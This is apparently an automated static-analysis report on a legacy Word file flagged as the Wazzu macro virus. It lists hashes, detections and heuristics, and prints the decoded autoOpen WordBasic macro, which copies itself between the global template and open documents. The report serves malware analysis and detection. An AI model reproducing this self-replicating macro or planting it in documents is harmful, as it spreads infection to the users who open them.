Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 91c3ad724bc3739f…

MALICIOUS

Office (OLE)

31.0 KB Created: 1999-03-17 20:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ce03e9ec08bda30838d80cb330b2144c SHA-1: ad27dd51f0b07472eab3050bf6ad7ba7614bdea4 SHA-256: 91c3ad724bc3739fda1cc68206c81f006fbe6e5bdc0305568cd64c6b570a4681
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Word document containing a WordBasic macro. The 'autoOpen' macro is designed to copy itself to other documents, indicating a macro infector. The presence of legacy WordBasic auto-exec markers and the 'autoOpen' macro strongly suggest this behavior. No specific family could be identified.

Heuristics 4

  • ClamAV: Doc.Trojan.Wazzu-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wazzu-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 750 bytes
SHA-256: d9ab25a02e80c0be9ffed2c06276c3ff7c619350b343ce9108466638ba502629
Detection
ClamAV: Doc.Trojan.Wazzu-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"

Public Sub MAIN()
Dim f1$
Dim g1$
Dim d1 As Object: Set d1 = WordBasic.DialogRecord.FileSummaryInfo(False)
WordBasic.CurValues.FileSummaryInfo d1
f1$ = d1.Directory + "\" + d1.FileName + ":autoOpen"
g1$ = "Global:autoOpen"
If UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 4)) = ".DOT" Then
WordBasic.MacroCopy g1$, f1$
WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy f1$, g1$
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.